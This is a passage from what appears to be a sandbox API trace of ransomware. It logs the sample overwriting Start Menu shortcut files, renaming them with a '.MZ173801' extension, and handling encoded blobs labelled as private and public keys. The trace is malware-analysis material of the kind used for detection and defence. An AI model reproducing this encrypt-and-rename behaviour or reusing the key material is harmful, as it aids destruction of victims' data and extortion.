[0214.355] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0214.355] ReadFile (in: hFile=0x330, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0x46c, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0x46c, lpOverlapped=0x0) returned 1 [0214.377] CloseHandle (hObject=0x330) returned 1 [0214.378] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0214.379] WriteFile (in: hFile=0x330, lpBuffer=0x24cae00*, nNumberOfBytesToWrite=0x46c, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24cae00*, lpNumberOfBytesWritten=0x19f48c*=0x46c, lpOverlapped=0x0) returned 1 [0214.380] CloseHandle (hObject=0x330) returned 1 [0214.380] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk.mz173801")) returned 1 [0214.381] GetCurrentThreadId () returned 0xab4 [0214.381] GetCurrentThreadId () returned 0xab4 [0214.381] GetCurrentThreadId () returned 0xab4 [0214.381] GetCurrentThreadId () returned 0xab4 [0214.381] GetCurrentThreadId () returned 0xab4 [0214.381] GetCurrentThreadId () returned 0xab4 [0214.381] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e2f6c78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4e2f6c78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4e2f6c78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows Firewall with Advanced Security.lnk", cAlternateFileName="")) returned 1 [0214.381] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.381] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.382] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e2f6c78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4e2f6c78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4e2f6c78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x484)) returned 1 [0214.382] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk")) returned 0x20 [0214.382] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk", dwFileAttributes=0x80) returned 1 [0214.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0214.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0214.386] GetCurrentThreadId () returned 0xab4 [0214.386] GetCurrentThreadId () returned 0xab4 [0214.386] GetCurrentThreadId () returned 0xab4 [0214.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0214.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0214.387] GetCurrentThreadId () returned 0xab4 [0214.387] GetCurrentThreadId () returned 0xab4 [0214.387] GetCurrentThreadId () returned 0xab4 [0214.387] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0214.387] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0214.387] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0214.387] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x484 [0214.387] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0214.387] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x484, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x484, lpOverlapped=0x0) returned 1 [0214.445] CloseHandle (hObject=0x330) returned 1 [0214.445] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0214.446] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x484, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x484, lpOverlapped=0x0) returned 1 [0214.447] CloseHandle (hObject=0x330) returned 1 [0214.448] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk.mz173801")) returned 1 [0214.448] GetCurrentThreadId () returned 0xab4 [0214.448] GetCurrentThreadId () returned 0xab4 [0214.448] GetCurrentThreadId () returned 0xab4 [0214.448] GetCurrentThreadId () returned 0xab4 [0214.449] GetCurrentThreadId () returned 0xab4 [0214.449] GetCurrentThreadId () returned 0xab4 [0214.449] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e2f6c78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4e2f6c78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4e2f6c78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows Firewall with Advanced Security.lnk", cAlternateFileName="")) returned 0 [0214.449] GetLastError () returned 0x12 [0214.449] FindClose (in: hFindFile=0xa1b3b8 | out: hFindFile=0xa1b3b8) returned 1 [0214.449] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9f5e688, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xa9f5e688, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b508 [0214.449] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0214.449] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.449] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9f5e688, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xa9f5e688, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0214.449] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.449] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.449] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: 